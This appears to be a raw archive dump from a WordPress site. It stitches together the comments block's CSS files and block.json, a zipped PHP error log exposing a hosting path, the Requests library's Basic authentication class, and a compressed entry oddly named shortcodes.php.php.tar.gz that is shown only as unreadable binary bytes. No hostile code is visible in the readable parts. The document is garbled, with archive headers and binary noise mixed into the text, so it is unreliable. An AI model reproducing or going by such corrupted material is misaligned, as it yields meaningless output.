label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}editor.css000064400000011147151024246130006546 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{
  float:left;
}
.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{
  float:right;
}
.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-left:3.25em;
}
.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}
.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){
  border:none;
}

.wp-block-comments{
  box-sizing:border-box;
}

.block-library-comments-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-comments__legacy-placeholder *{
  pointer-events:none;
}block.json000064400000002573151024246130006536 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments",
	"title": "Comments",
	"category": "theme",
	"description": "An advanced block that allows displaying post comments using different visual configurations.",
	"textdomain": "default",
	"attributes": {
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"legacy": {
			"type": "boolean",
			"default": false
		}
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"heading": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"editorStyle": "wp-block-comments-editor",
	"usesContext": [ "postId", "postType" ]
}
style-rtl.css000064400000005060151024246130007214 0ustar00.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-post-comments .alignleft{
  float:right;
}
.wp-block-post-comments .alignright{
  float:left;
}
.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-right:3.25em;
}
.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}
.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.wp-block-comments{
  box-sizing:border-box;
}style.css000064400000005056151024246130006422 0ustar00.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-post-comments .alignleft{
  float:left;
}
.wp-block-post-comments .alignright{
  float:right;
}
.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-left:3.25em;
}
.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}
.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.wp-block-comments{
  box-sizing:border-box;
}editor.min.css000064400000010552151024246130007327 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:left}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:right}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}14338/Auth.zip000064400000015403151024420100006643 0ustar00PK�bd[a����	error_lognu�[���[28-Oct-2025 14:10:57 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Oct-2025 03:15:32 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Oct-2025 03:19:40 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Oct-2025 03:22:25 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 05:59:35 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 18:04:09 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 18:24:37 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[03-Nov-2025 01:11:05 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[03-Nov-2025 15:09:23 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[03-Nov-2025 15:11:30 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[03-Nov-2025 15:23:32 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[04-Nov-2025 21:37:28 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
PK�bd[��Z�	�		Basic.phpnu�[���<?php
/**
 * Basic Authentication provider
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests\Auth;

use WpOrg\Requests\Auth;
use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;

/**
 * Basic Authentication provider
 *
 * Provides a handler for Basic HTTP authentication via the Authorization
 * header.
 *
 * @package Requests\Authentication
 */
class Basic implements Auth {
	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Constructor
	 *
	 * @since 2.0 Throws an `InvalidArgument` exception.
	 * @since 2.0 Throws an `ArgumentCount` exception instead of the Requests base `Exception.
	 *
	 * @param array|null $args Array of user and password. Must have exactly two elements
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount   On incorrect number of array elements (`authbasicbadargs`).
	 */
	public function __construct($args = null) {
		if (is_array($args)) {
			if (count($args) !== 2) {
				throw ArgumentCount::create('an array with exactly two elements', count($args), 'authbasicbadargs');
			}

			list($this->user, $this->pass) = $args;
			return;
		}

		if ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @see \WpOrg\Requests\Auth\Basic::curl_before_send()
	 * @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);
		$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @return string
	 */
	public function getAuthString() {
		return $this->user . ':' . $this->pass;
	}
}
PK�bd[a����	error_lognu�[���PK�bd[��Z�	�		5Basic.phpnu�[���PK�[14338/shortcodes.php.php.tar.gz000064400000015144151024420100012100 0ustar00��<ks۶����+�َL�v�N�ē����$�ή���I��H� -�M�����r6���VӇL�y��y���i*���ר;N��Tc�q(�(�fy���4/�qe7�8^t��~��|"UW��4���K��??=�?z���{|����?����9|{�H�}�O�2?�%�k�?O���u���=�s�N~^P���Wb�b�J?6H�0��"�gJ��˹�9s�~*�*���ws�!�h"�,K��<�"�S�pL*gy�B^''�#�sE@�.|%'�e睼�"ӈ`"�z0����\��R	?��B���D�޷��a�4�O[~ڂ�o��֚Q�qe2���*o�h“ʓGW�		��4�����$���8��� ��
4�(")
��ZR�'�;��2C1��`1��G���u�&�S1ͣq���	���� ���"��~��B!���DT�H"���p
)��V��)R���/��8��1D�L�i��r��6p��8O�Lzf�<���4����H�%D ��h&S0�	�Ǐ���I�8� J!���a�]N�2#;|Gl�b���hs)�Y���nw"���`�%���ڋ�Y7	�Y�Z�k�'��ҟ�-�T���W�P�P�����{F�_��|�ȧ��_9*��bǗ�I����WV�G���b�!`��
d�OS����,�/��4�ޫ<\��@�9��d{Hwmk/���iN�O2�R"�q>���4��z�Eev�h-#�;l[�T.'��	H)pU��PG⅌	l0
�qO�9/�!VAoNn�yr��x�L<��x$�y�C:�3|a6�F諌����rJd-�n����_������S�c�0���~:�K��$V�����_������L����4i���=
4�6ίd�J�]�'�B�
� I����R��FL���ì�8{8��� ����;�l�_��Ne�'�?F9P3�#)�!@=a"�Mе����5c��z�d8Ex%�#Tү��d�nv�Yz��tqbA�]�-�Q^I݂��v[���
�т�,��5�Ā�Q���)(�x�5}����^��z4���*�����4'�|�d7�]��-viV������+����T����G��������~6��"/�O�=�������\�N�/ڝOشJ@t�)���݃Ã�	}P��D�8r�{�Cx:]�+�|�2��}�^�S0�_�Ȱ�h�6�|q�
#����r��
WP�]�`��meзE��o��+��g�/��1�u;�+��g��w��hu���@��!�����&�M�TXJ�۵+��Ve�6��#ޝ�/
���_��Jm���d�z�lf\Ψi�d�LBl+�1ԻE�Ğ��$=�?�W��rR08`:
�Z$Д�xB�!��l��'P��n]�\�܂�5�B��oP�/�	Rh]��f��ɴd��5<S$E�X�hG��fG�k^�iYE��W�p��;�d˒'.�8?�!�I#��U��b��&��e�=��7���n�nV�f�C��cU�ĉ�%ҧ���f՗���_�j��Hy+���m@�u��P�B����b��C=2s�q�#��M�������\�<���(�`��m቙̊��`����׎�Q�(UG������w��|s�F�5��I?�ؑv��~i�[@*�ɜ	i�7�	4�ݒ���1diN�>
	Ki��m3��jTqGT܈�5� �O�x������A��Bť�e;339�9�;��J��m��(6� ��@�N0�H:>mM�Pz��5�w��P�1�w<��x0Q����aƴ98�U�]��E�&w��V��c��;\/�O�[�>���3�w���)�QEF��#є���-i���'okŭq/�UK�����>�����Z/`Zp�'R&���F�2�'V��E
h�h�7Z�t��>��;�,�Vp��L���Cde�lVt\f���MXI�n!zm@�0�A.�v+��1z�����?w1�d��fp�h�-����Ӗ*���t�\�
�s�b��D���kAA<Y��ۭSf�Y�q�)�*�t}QW��c�j�&��6'+w�PNyEqB*)��UWt"��M(]Q�t�|9A`�7L}�э�`U��`6��H3P*g�.:�I�O�Y�	�^9��UpX�yb�/����P6`w
5>�?��W6�� ܒ��{j~t=Ԛ�0�����v1�ց���KS�q�C@��}����5����N�}C6�����V�l	�
�oL�V��)���j8M�@v����s��x�u�5�O�3���Q�iI+�n��%�ʭm􂵎p��O��2���\��Q��s��BP��fg<���S�([�rw����Lk~�=�Od4C�4D.	�k��t\*QV�5�^�x����Ď��Mj��#Z]�ۂ#������¥�0]��XQ�5��iJyD�%zQ;�GҿD������~���\�y���*c?���\6ZW����t��ʀLWdTK�Ř�yV��ԝ��Jd7�O��O��HV�[�3n��[����6Z�TF6��(��X���k�p�ՠ:H�H�f��KH�`dˬ���h21��-3�H�w!���	�ka<���1]����c,�&ip�̨��zgIo&�)`�\��]��Pʾb�����;�?W�v%4Oy%Uŧi�c �|��x�ƞ����r��7��Bx�#e7�5��W��ut��|�����a�0�\�	;�O�<�S�R_�Y �Ã�����0&q���~H���]錨���/~:ˑĔ�!���pa.�Et�X�b�
V�S�,S?A��(���`�O:X��j���	���$	��*�_�⤕�͓�z��?$��~���_�+ϸ�J��11����2m��Ȕ+'5�v�u�M<ȕNݙZ�;���ᴏ�����m���~�m�5�3��%s�woU�ٛׯ^w���s?�i��e�R�b�j�A�E'�_<Z�,T1
��(��<�3���hN�-j2O��D�b��y���<
�� �LX�D9��'��[J���k��m2x��f�r0'~��{"#�%��R�7��L}��n2L=8��
x�ߴm����x*�C^��SP��j��j�����`����/L~�fP{`�{#����bl;�I@����0�N�OQs#��89�8r�%������@l2����{��>5(���h��X��q�I�EO<�֩���2 G���2�������=�ͷwۆ��q�%��9V|�� Ķ�,�]CU�Ql
���^��[�V�z�bF��lH�!���Rg�㹇��;��@�@b��{��-!��d7@�������!�"r_
f��m:@}�g��wab�4�5i��C���r�Fۻ5�(�c�4��@=��تLm�c���6��7��p��W����c��|P����,bsI��I�sCeBro�Ǥ=�U��”;;fpOt��M�wvd6���M"m�'ΩX��nB�V��Y�j.W�;����aG�0�+��WLx���Q�Zc7�ylәws�됎?��	���8>�|�ڤ*9x�"������P�O�֡P7�}]���k
�]x}n��^`������rV?�:��v�AG���i=��v[�����&��CqE �܄$�d���i��K�]���uR��0�r�+OP��Y��
��1m��9��!���d�p�6�\��oz�j�p�?�Z��؀SAN�n�vW6+��N����D��h�3�:����[�'k��<�6�R�LF2%WtY�:���<�5��JA�O�m��KP�΃cԑ	R�k���8�4��u�b��|0�B�����}y�< �1t:o���(�Y+.es�]�v7��t�����6�����U�*FX��&���M�3��u���ַ�'k�^���|[�s���Ɍ�8�5$�	��Ʌ��BzR�`��Y�\Q(��Y�@qK䂋���
�)߭	ot�Gr0ʕLG�,Wj�b��.(��ۓ�#j�t�Ʉ��b�&�/������éw�Q�`RaЦ
���=��T�j,�6�յ.�4��=݈>j���*��? e�a�j��X���p�&�Tң�X�j��|��紁��NƙR9f��d�m3������	��?)25�H��9U��	�E@t�TN3�f�9θ�����G��V}�R%�)�+�ˏ�C���Z8�>�RijY4E��S���&O����PD}K�e���7I7������/$6f	N�	2��8��5t��q�6r�Æ�����	8��|��~|�<>�Ǖ�#��GG�\�nX�o�e���]�εP�`
�L�*>�V��53�W��m��K,��D�i�͠~��i �U�(/zS��c-<{��AO�-Ox4]]?z�vZe��/;[o8�t���}R
�$t[x� �U��{�j���)��x�jK�eqV��=���HWGo�}8#"�hgj�bW�V����~X��7g�Μ>�`#	
����|���Sg��g^*�~|�!S�!l�0�N/��#�R�U�^|Q��d��>������.]���Ӂ����ؽ2|8~����
�&Y���{JGfDṾ�,�R�^\��UQu�x��Qd�9Jǫ����"l�;0�f��oC�E�̔��<���qIEMMe�$N���r��W�U�O���l�z�_]h�N"<*݊;-�z�c�q[��@�.,n㛫h!�i��tHT��a��\��l{3�hV���Ъ�:�����<*�#K.�X~�^��=�n��*��X��P���&h�1��Ye�����Ͷ�q05�4��n��)�H�AeM�{j�5��X�w�~T"���	�Ħ]��`�zYsD�9�:�s�����������PA�s���'o���I�-!x�Br#(��A~��
